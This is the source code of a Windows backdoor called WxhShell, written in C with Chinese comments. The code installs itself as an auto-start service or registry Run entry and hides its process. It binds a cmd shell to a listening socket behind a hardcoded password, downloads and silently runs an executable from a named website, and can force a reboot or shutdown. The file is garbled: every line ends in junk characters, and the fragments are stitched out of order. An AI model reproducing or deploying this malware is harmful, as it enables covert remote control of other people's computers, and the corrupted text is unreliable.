    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #\t?`\L3  
    if(Boot(SHUTDOWN)) bX5>qqB]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l4r09"S|V  
    else { --  _,;  
    closesocket(wsh); M@8 <^CK  
    ExitThread(0); ]_F%{8|  
    } Zr oj-3-X~  
    break; 4HkOg)a  
    } Z4E:Z}~''  
  // 获取shell 10}\7p8  
  case 's': { a{Tv#P*!  
    CmdShell(wsh); mNcTO0p&  
    closesocket(wsh); =wI ,H@  
    ExitThread(0); ` [@ F3x  
    break; PN0:,.4  
  } B{c,/{=O  
  // 退出 mm:\a-8j  
  case 'x': { r+ v*(Tu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qrm~=yU%  
    CloseIt(wsh); ha3 Qx  
    break; Tfs7SC8ta  
    } XP6R$0yN  
  // 离开 A*MlK"  
  case 'q': { ddlLS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [^~Fu9+"  
    closesocket(wsh); <E$5LP;:  
    WSACleanup(); EV2whs2g  
    exit(1); >!`T=(u!  
    break; G~u94rw|:  
        } s{`r$:!  
  } nmS3  
  } q=UKL`;C}U  
f:Ju20D  
  // 提示信息 }|{yd03 +  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YG"P:d;s  
} GfL}f9  
  } ##1[/D(  
j4+hWalm  
  return; ryN/sjQC  
} " 0K5 /9  
i nF&Pv  
// shell模块句柄 d!e$BiC  
int CmdShell(SOCKET sock) mi%d([)%<  
{ |giK]Z  
STARTUPINFO si; 4+'yJ9~,B  
ZeroMemory(&si,sizeof(si)); 552c4h/T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )5Gzk&|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~*THL0]~  
PROCESS_INFORMATION ProcessInfo; H@,jNIh~h  
char cmdline[]="cmd"; 'hf-)\Ylf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @M:j~  
  return 0; lNls8@  
} .+|G`*1<i  
s1:UCv-%  
// 自身启动模式 +cQ4u4  
int StartFromService(void) 0[);v/@Ho  
{ =n i&*&  
typedef struct s)]i0+!  
{ <;phc~0+  
  DWORD ExitStatus; tJbOn$]2"  
  DWORD PebBaseAddress; >2vl & (  
  DWORD AffinityMask; ZTM zL%i  
  DWORD BasePriority; 6wIv7@Y  
  ULONG UniqueProcessId; | z$ba:u5  
  ULONG InheritedFromUniqueProcessId; LL#7oBJdM  
}   PROCESS_BASIC_INFORMATION; 6./h0kD`  
% 7/XZQ  
PROCNTQSIP NtQueryInformationProcess; gB71~A{J  
1sGkbfh{t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?U iwr{Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S2;{)"mS  
#Z98D9Pv`o  
  HANDLE             hProcess; no)Spo'  
  PROCESS_BASIC_INFORMATION pbi; >p}d:t/  
s|"V$/X(W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9IN =m 5  
  if(NULL == hInst ) return 0; .A&Ey5  
t`Mm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UI_|VU>J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {ZY^tTsY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Czid"Ih-  
eP(%+[g  
  if (!NtQueryInformationProcess) return 0; iG6 ^s62z7  
Ej F<lw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #HJF==  
  if(!hProcess) return 0; PF1!aAvVb  
f?2Y np=@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %*oz~,i  
~ AS2$  
  CloseHandle(hProcess); mhnD1}9,Ih  
gmj a2F,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &z 1A-O v  
if(hProcess==NULL) return 0; zi:GvTG  
+T"kx\<  
HMODULE hMod; agM.-MK  
char procName[255]; ?*9U d  
unsigned long cbNeeded; JihI1C  
VahR nD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B5  C]4  
( X)$8y  
  CloseHandle(hProcess); ie 2X.#  
6IctW5b  
if(strstr(procName,"services")) return 1; // 以服务启动 oZA|IF8U0  
Gyjx:EM  
  return 0; // 注册表启动 I{_St8  
} Z, lUO.  
S/G,A,"c  
// 主模块 )gmDxD ^C  
int StartWxhshell(LPSTR lpCmdLine) d?v#gW  
{ HsR#dp+s~  
  SOCKET wsl; _>dqz(8#  
BOOL val=TRUE; _ZzN}!Mye  
  int port=0; J.$<Lnt>u  
  struct sockaddr_in door; ]n _-  
>QE^KtZ  
  if(wscfg.ws_autoins) Install(); 3${?!OC  
V~Tjz%<  
port=atoi(lpCmdLine); 0k:&7(j  
d;m Q=k 1  
if(port<=0) port=wscfg.ws_port; `RthX\Tof  
;wL *  
  WSADATA data; p$?c>lim  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uf4QQ `c#  
6lT1X)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I%e7:cs>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,RCjfX a  
  door.sin_family = AF_INET; <j ;HRm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (PsA[>F  
  door.sin_port = htons(port); ;FMK>%Zq  
rHT8a^MO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w?jmi~6  
closesocket(wsl); @ RTQJ+ms  
return 1; Yo| H`m,  
} UM|GX  
iUS379wM}  
  if(listen(wsl,2) == INVALID_SOCKET) { AN^,  
closesocket(wsl); }2`S@Rq.WW  
return 1; px//q4 U  
} f910drg7  
  Wxhshell(wsl); :e+GtN?  
  WSACleanup(); ^}/YGAA  
4fzq C)  
return 0; + {a  
A'[A!NL%  
} :&?#~NFH  
?z:xQ*#X  
// 以NT服务方式启动 EF"ar  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ry~3YYEMI0  
{ ( fdDFb#1  
DWORD   status = 0; jvu,W4  
  DWORD   specificError = 0xfffffff; a P{xMB#1h  
_JR4 PKtx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h@{@OAu?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O])/kS`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {dMa&r|lp  
  serviceStatus.dwWin32ExitCode     = 0; /3KEX{'@U  
  serviceStatus.dwServiceSpecificExitCode = 0; 2mU}"gf[  
  serviceStatus.dwCheckPoint       = 0; y{j>4g$:z  
  serviceStatus.dwWaitHint       = 0; U-WrZ|-  
X\1D[n:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |I OTW=>  
  if (hServiceStatusHandle==0) return; ^1*p]j(  
6\::Ku4_2  
status = GetLastError(); y:2o-SJn  
  if (status!=NO_ERROR) jDXmre?  
{ cq[}>5*k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V 8n}"  
    serviceStatus.dwCheckPoint       = 0; c$e~O-OVD?  
    serviceStatus.dwWaitHint       = 0; #e8CuS  
    serviceStatus.dwWin32ExitCode     = status; U]R7=  
    serviceStatus.dwServiceSpecificExitCode = specificError; l" sR\`~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z<&: W8n  
    return; F&c A!~  
  } xPb`CY7  
(qPZEZKx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8uI^ B  
  serviceStatus.dwCheckPoint       = 0; k?S-peyRO  
  serviceStatus.dwWaitHint       = 0; ;nh7Elk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qz$.t>@V=  
} G53!wIW2:  
K} ;uH,  
// 处理NT服务事件,比如:启动、停止 VFYJXR{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eGguq~s`  
{ D~mGv1t"  
switch(fdwControl) }>0UaK  
{ }'@*Olj  
case SERVICE_CONTROL_STOP: OKf/[hyu  
  serviceStatus.dwWin32ExitCode = 0; F'*{Fk h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E3gQ`+wNg?  
  serviceStatus.dwCheckPoint   = 0; fqF1 - %  
  serviceStatus.dwWaitHint     = 0; D!@c,H  
  { $hEX,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [e*8hbS  
  } N86Hn]#  
  return; W0nRUAo[  
case SERVICE_CONTROL_PAUSE: HX=`kkX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =j}00,WH  
  break; t;4{l`dk  
case SERVICE_CONTROL_CONTINUE: FJ2^0s/"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Pd@?(WQ  
  break; ml3]CcKn  
case SERVICE_CONTROL_INTERROGATE: 9wI1/>  
  break; bF}~9WEa  
}; e{?~ m6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qQ|v~^  
} w>!KUT  
E8V,".!+E  
// 标准应用程序主函数 @,s[l1P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QGYmQ9m{kL  
{ gx9H=c>/  
43(+3$VM7  
// 获取操作系统版本 $I tehy  
OsIsNt=GetOsVer(); 4K4?Q+?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &PGU%"rN  
l9SbuT$U  
  // 从命令行安装 JM!o(zbt  
  if(strpbrk(lpCmdLine,"iI")) Install(); >Ks|yNJ  
mT)iN`$Y@  
  // 下载执行文件 ,rG$JCS'KQ  
if(wscfg.ws_downexe) { 8WaVs6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .ipYZg'V  
  WinExec(wscfg.ws_filenam,SW_HIDE); jT'1k[vJj  
} lJ}lO,g  
;up89a-,9  
if(!OsIsNt) { 7 bpV=  
// 如果时win9x,隐藏进程并且设置为注册表启动 ymzlRs1^Ct  
HideProc(); *,z__S$Q)  
StartWxhshell(lpCmdLine); }t]CDa_n  
} W**a\[~$  
else ^S[Mg6J  
  if(StartFromService()) :;]6\/ky  
  // 以服务方式启动 b~cN#w #  
  StartServiceCtrlDispatcher(DispatchTable); U*,5t81  
else Z.rKV}yjY  
  // 普通方式启动 p+A#t~K  
  StartWxhshell(lpCmdLine); ^ b}_[B  
UB=I>  
return 0; Au:Q4x.  
} V~ZAs+(2Z  
q*-q5FE  
5H>[@_u+:  
}cMb0`oA  
=========================================== @Vc*JEW  
llI`"a  
,GGr@})  
W}nD#9tL  
p]IF=~b  
t&0pE(MO/  
" ^qYJx  
[,$] %|6wt  
#include <stdio.h> ;aWH`^{i  
#include <string.h>  I=|b3-  
#include <windows.h> fY$M**/,  
#include <winsock2.h> r#3(;N{=  
#include <winsvc.h> 9>\s81^  
#include <urlmon.h> A2g +m  
27G6C`}  
#pragma comment (lib, "Ws2_32.lib") (q"Nt_y  
#pragma comment (lib, "urlmon.lib") U c$RYPq  
-T`rk~A9A  
#define MAX_USER   100 // 最大客户端连接数 `/8Dmg  
#define BUF_SOCK   200 // sock buffer @9-z8PyF  
#define KEY_BUFF   255 // 输入 buffer `(.K|l}  
-6(C ^X%  
#define REBOOT     0   // 重启 V8 }yK$4b  
#define SHUTDOWN   1   // 关机 C /\)-^  
Bc`jkO.q  
#define DEF_PORT   5000 // 监听端口 oxha8CF]D  
u4, p.mZtb  
#define REG_LEN     16   // 注册表键长度 7q^o sOj"  
#define SVC_LEN     80   // NT服务名长度 1c8 J yp  
aI{Ehbf=  
// 从dll定义API D({% FQ"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LaG./+IP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K}L-$B*i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yL7D;<!S&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cq(dj^/~m  
q okgu$2  
// wxhshell配置信息 mw-0n  
struct WSCFG { D4$;jz,,  
  int ws_port;         // 监听端口 FO&U{(Q  
  char ws_passstr[REG_LEN]; // 口令 MuQyHEDF  
  int ws_autoins;       // 安装标记, 1=yes 0=no yIC8Rl  
  char ws_regname[REG_LEN]; // 注册表键名 ?~Fk_#jz,@  
  char ws_svcname[REG_LEN]; // 服务名 g[!t@K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3&^4%S{/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4p\<b8(9>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M,7A|?O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =* oFs|v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Kob]b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y-w=4_W  
wC+_S*M-K  
}; ~ODm?k  
PGF=q|j9K  
// default Wxhshell configuration D6=Z%h\*  
struct WSCFG wscfg={DEF_PORT, rlEEf/m:  
    "xuhuanlingzhe", =i O K($  
    1, [p^N].K$  
    "Wxhshell", yV,ki^^  
    "Wxhshell", RB`Emp&T  
            "WxhShell Service", eK PxSN Z  
    "Wrsky Windows CmdShell Service", 7 p}J]!Z  
    "Please Input Your Password: ", YBqu7&  
  1, W ZdEfY{  
  "http://www.wrsky.com/wxhshell.exe", e33j&:O  
  "Wxhshell.exe" #9M6 q  
    }; ,:Qy%k}f  
?f<JwF<  
// 消息定义模块 |\;oFuCv##  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :34]}`-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K<TVp;N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ErIAS6HS'  
char *msg_ws_ext="\n\rExit."; (ZH5/VKp  
char *msg_ws_end="\n\rQuit.";  AV{3f`  
char *msg_ws_boot="\n\rReboot..."; &'4{/Gz  
char *msg_ws_poff="\n\rShutdown..."; [!H2i p-  
char *msg_ws_down="\n\rSave to "; 3C'`K ,  
;43Ye ^=  
char *msg_ws_err="\n\rErr!"; |U)m'W-(q  
char *msg_ws_ok="\n\rOK!"; D1]%2:  
itClCEOA  
char ExeFile[MAX_PATH]; hqrI%%  
int nUser = 0; [!1z; /  
HANDLE handles[MAX_USER]; 9c9F C  
int OsIsNt; k]?M^jrm  
aV"K%#N  
SERVICE_STATUS       serviceStatus; {uH 4j4)2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XN65bq  
Au3> =x`  
// 函数声明 7fRL'I#[@  
int Install(void); O92a*)  
int Uninstall(void); 7yp7`|,p  
int DownloadFile(char *sURL, SOCKET wsh); ]4~- z3=y  
int Boot(int flag); dJID '2a  
void HideProc(void); rw_T&>!  
int GetOsVer(void); oz $T.  
int Wxhshell(SOCKET wsl); m| 8%%E}d  
void TalkWithClient(void *cs); i\hH .7G1  
int CmdShell(SOCKET sock); }%LwaRT  
int StartFromService(void); uMOm<kn  
int StartWxhshell(LPSTR lpCmdLine); . +_IpygQ  
3S='/^l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~um+r],@@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3l5rUjRwj  
[)UF@Sq4+Q  
// 数据结构和表定义 .C=&` ;Vs  
SERVICE_TABLE_ENTRY DispatchTable[] = ;4. D%  
{ dv3+x\`9  
{wscfg.ws_svcname, NTServiceMain}, Yas!w'  
{NULL, NULL} 5<Mht6"H  
}; $tvGS6p>  
LX A1rgUWT  
// 自我安装 R:=C  
int Install(void) 63:0Vt>hZ^  
{ H{|a+  
  char svExeFile[MAX_PATH]; [?TQ!l}8A  
  HKEY key; *;A I0  
  strcpy(svExeFile,ExeFile); KI(9TI *  
SPKen}g  
// 如果是win9x系统,修改注册表设为自启动 Ht^MY  
if(!OsIsNt) { 9HMW!DSK`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <()xO(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G#V5E)Dx  
  RegCloseKey(key); \ZrLh,6f.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( 8+_~_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dz, Fu:)  
  RegCloseKey(key); ^Q8m) 0DP  
  return 0; #sit8k`GR8  
    } %8iA0t+  
  }  /bA\O   
} ]RHR>=;  
else { K]dqK'  
<LM<,  
// 如果是NT以上系统,安装为系统服务 [;B_ENV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2 =tPxO')B  
if (schSCManager!=0) @(.?e<  
{ gOw|s1`2,  
  SC_HANDLE schService = CreateService F=   
  ( =0xuH>WY}w  
  schSCManager, 6 .DJR Y  
  wscfg.ws_svcname, EK. L>3  
  wscfg.ws_svcdisp, G[u_Uu=>  
  SERVICE_ALL_ACCESS, #I9|>XE1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %o< &O(Y  
  SERVICE_AUTO_START, QQ@, v@j5  
  SERVICE_ERROR_NORMAL, l/OG 79qq  
  svExeFile, THQ W8 V  
  NULL, jM J[6qj  
  NULL, Y5LESZWo  
  NULL, 9B Lz  
  NULL, ,G1|] ~  
  NULL ] d| -r:4  
  ); i2b\` 805  
  if (schService!=0) !Dkz6B*  
  { [$?S9)Xd  
  CloseServiceHandle(schService); n);2b\&  
  CloseServiceHandle(schSCManager); 9<<$uf.B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )?'sw5C  
  strcat(svExeFile,wscfg.ws_svcname); !_<.6ja  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S$%/9^\jF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9}X3Q!iFb  
  RegCloseKey(key); Hk2@X(  
  return 0; U._ U!U  
    } F~a5yW:R=)  
  } _ %&"4bm.  
  CloseServiceHandle(schSCManager); `(;d+fof  
} {114 [  
} 7x9YA$IE  
SrK;b .  
return 1; C Cq<y  
} ~2@U85"o  
SfJ/(q  
// 自我卸载 {z@vSQ=)=P  
int Uninstall(void) F)e*w:D  
{ ThWZ>hyJ  
  HKEY key; oZ6xHdPc4  
^ .kas7 <  
if(!OsIsNt) { pzU">)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a,cDj  
  RegDeleteValue(key,wscfg.ws_regname); HT?`PG  
  RegCloseKey(key); c}Z,xop<P{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kox~k?JK  
  RegDeleteValue(key,wscfg.ws_regname); ZM; EjS1  
  RegCloseKey(key); m)_1->K  
  return 0; (/"T=`3t  
  } l$m^{6IYc  
} Zz?+,-$_*&  
} w#PaN83+  
else { n^&QOII@>  
N0 ?O*a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (-dJ0!  
if (schSCManager!=0) rLL;NTN+/  
{ fil6w</L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SVq7qc9K?  
  if (schService!=0) w5n>hz_5  
  { 3}twWnQZJ  
  if(DeleteService(schService)!=0) { ^;@Bz~Z  
  CloseServiceHandle(schService); ? !~au0  
  CloseServiceHandle(schSCManager); H8\{ GGg  
  return 0; >MQW{^  
  }  iI ^{OD  
  CloseServiceHandle(schService); 3J,/bgL5  
  } cQ+, F2  
  CloseServiceHandle(schSCManager); GtGToI  
} K4R jGSaF  
} z0Zl'  
b/5~VY*T  
return 1; :sA-$*&x  
} N@d4)  
xq~=T:>/A  
// 从指定url下载文件 YYM  
int DownloadFile(char *sURL, SOCKET wsh) 7L<oWAq  
{ Sr+1.77}  
  HRESULT hr; IS=)J( 0  
char seps[]= "/"; @K+u+} R  
char *token; Ppp&3h[dW)  
char *file; ]B7t9l  
char myURL[MAX_PATH]; 6)bfd^JYn  
char myFILE[MAX_PATH]; X@D3  
A6U6SvM;  
strcpy(myURL,sURL); n&V(c&C  
  token=strtok(myURL,seps); rpXw 8  
  while(token!=NULL) #{ ?oUg>$  
  { *l9Y]hinq  
    file=token; ^|\?vA  
  token=strtok(NULL,seps); q;AQ6k(  
  } d[Fsp7U}  
2 rBF<z7  
GetCurrentDirectory(MAX_PATH,myFILE); Wex4>J<`/  
strcat(myFILE, "\\"); oz0-'_  
strcat(myFILE, file); Uis P 8/k  
  send(wsh,myFILE,strlen(myFILE),0); .s9Iymz  
send(wsh,"...",3,0); pucHB<R@bL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d)AkA\neWo  
  if(hr==S_OK) Ip0Zf?  
return 0; (J;?eeP  
else JH5])i0  
return 1; @6Mo_4)O  
x-QP+M`Pu  
} DxD0iJ=W  
x$p\ocA  
// 系统电源模块 jGWLYI=V2  
int Boot(int flag) JjCf<ktE.  
{ x~z 2l#ow  
  HANDLE hToken; N1-LM9S  
  TOKEN_PRIVILEGES tkp; FP Mk&  
$k?L?R1  
  if(OsIsNt) { lt]U?VZ   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sd6Wmmo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E}GSii%S  
    tkp.PrivilegeCount = 1; ) jvkwC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yUG5'<lX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PLyu1{1" z  
if(flag==REBOOT) { 5C&f-* Bh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {V&7JZl,/  
  return 0; n" ~*9'  
} ~_&.A*Jh  
else { -$q/7,os  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y^G3<.B  
  return 0;  R pbl)  
} t<7WM'2<y  
  } 2uTa}{/%  
  else { 3{z|301<m  
if(flag==REBOOT) { q  ha1b$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZL>V9UWN  
  return 0; g}-Z]2(c#  
} X3nhqQTZ  
else { l_%~X 9"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l1[IXw?  
  return 0; jJvNN -^  
} m0"\3@kB  
} o~K2K5I  
{Jc!T:vJ  
return 1; _XZ=4s  
} \_E.%K  
< &2,G5XA  
// win9x进程隐藏模块 Q(6(Scp{  
void HideProc(void) ar|[D7Xrq\  
{ a:}"\>Aj  
B>ZPn6?y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MDP MOA  
  if ( hKernel != NULL ) zTB9GrU  
  { E2IVR]C2^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p'qH [<s  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;%<4U^2  
    FreeLibrary(hKernel); r<v%Zp  
  } !&lPdEc@T  
o3qv945  
return; ]Qr8wa>Z  
} @U{M"1zZe  
GJs[m~`8#  
// 获取操作系统版本 .M2&ad :  
int GetOsVer(void) S(i(1Hs.  
{ >EtP^Lu~f_  
  OSVERSIONINFO winfo; ]F;]<_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l|A8AuO*?  
  GetVersionEx(&winfo); Pfx71*u,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;;!{m(;LS}  
  return 1; )`mF.87b&h  
  else %n25Uq  
  return 0; 5R`6zhf  
} "v!HKnDT  
IGT_ 5te  
// 客户端句柄模块 yQ{_\t1Wd  
int Wxhshell(SOCKET wsl) 2gAdZE&Y  
{ 9Fx z!-9m  
  SOCKET wsh; lMez!qx,=  
  struct sockaddr_in client; dY@Tt&k8E  
  DWORD myID; b^DV9mO4J  
$Wzv$4;  
  while(nUser<MAX_USER) NoZ4['NI\  
{ AdOAh y2H  
  int nSize=sizeof(client);  jnzz~:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1r& ?J.z25  
  if(wsh==INVALID_SOCKET) return 1; \Ntdl:fSw  
B4 Af  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %GCd?cFF  
if(handles[nUser]==0) X1[R*a/p  
  closesocket(wsh); ;To+,`?E;q  
else OXX(OCG>  
  nUser++; Pq\V($gN  
  } ^%$W S,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Po!JgcJ#\  
IOZ|85u =  
  return 0; T>Rf?%o  
} | ,l=v`/  
_<F@(M5  
// 关闭 socket Q0uO49sg  
void CloseIt(SOCKET wsh) >wk=`&+V@  
{ _& Uo|T  
closesocket(wsh); &R FM d=  
nUser--; bc=u1=~w  
ExitThread(0); C+]q  
} %3#I:>si  
:mV7)oWH  
// 客户端请求句柄 4U a~*58  
void TalkWithClient(void *cs) MN M>  
{ &T/q0bwd  
e9hVX[uq  
  SOCKET wsh=(SOCKET)cs; h-+a;![  
  char pwd[SVC_LEN]; RQ)!KlY  
  char cmd[KEY_BUFF]; '"fU2M<.  
char chr[1]; C`~4q<W'  
int i,j; bb0McEQy  
3G/ mB  
  while (nUser < MAX_USER) { >;&V~q:di  
9s6>9hMb)  
if(wscfg.ws_passstr) { -k[tFBl w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >-|90CSdSJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )"c]FI[}  
  //ZeroMemory(pwd,KEY_BUFF); o`T<}z26  
      i=0; ~iR!3+yg4  
  while(i<SVC_LEN) { sHPwW5j/o'  
:*&9TNU E@  
  // 设置超时 wI]R+.  
  fd_set FdRead; Vh.;p.!e  
  struct timeval TimeOut; yc%E$g  
  FD_ZERO(&FdRead); X6N]gD  
  FD_SET(wsh,&FdRead); E ^SM`  
  TimeOut.tv_sec=8; <&Y}j&(  
  TimeOut.tv_usec=0; zr;Y1Xt4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7MuK/q.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 77&^$JpM  
_Dcc<-.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Nxn[^[?.  
  pwd=chr[0]; Yr"!&\[oz  
  if(chr[0]==0xd || chr[0]==0xa) { D@r n@N  
  pwd=0; 1nlE3Y?AV  
  break; R!V5-0%  
  } Puth8$  
  i++; 2 ) /k`Na  
    } L4/TI(MP  
MNf@HG  
  // 如果是非法用户,关闭 socket fdq^!MWTi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); K7[AiU_I  
} ;*g*DIR  
%M;_(jda  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TA@tRGP>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Sdx8 Z5  
w[,?- Xm  
while(1) {  $`XN  
5fj  
  ZeroMemory(cmd,KEY_BUFF); r_V2 J{B  
Fyh?4!/.  
      // 自动支持客户端 telnet标准   u .pKK  
  j=0; An8%7xa7  
  while(j<KEY_BUFF) { K5)yM @cq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Xr_ np @  
  cmd[j]=chr[0]; Oj4u!SY\j  
  if(chr[0]==0xa || chr[0]==0xd) { Q0L@.`~  
  cmd[j]=0; <9d-Hz  
  break; x8pbO[_|  
  } ].k+Nzf_  
  j++; iKF$J3a\2f  
    } L)R[)$2(g  
_@BRpLs:4  
  // 下载文件 sx[&4 k[  
  if(strstr(cmd,"http://")) { p29yaM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V &mH#k  
  if(DownloadFile(cmd,wsh)) Ha=_u+@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )O2Nlk~l&  
  else KTLbqSS\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uxk[O  
  } s.R-<Y 3  
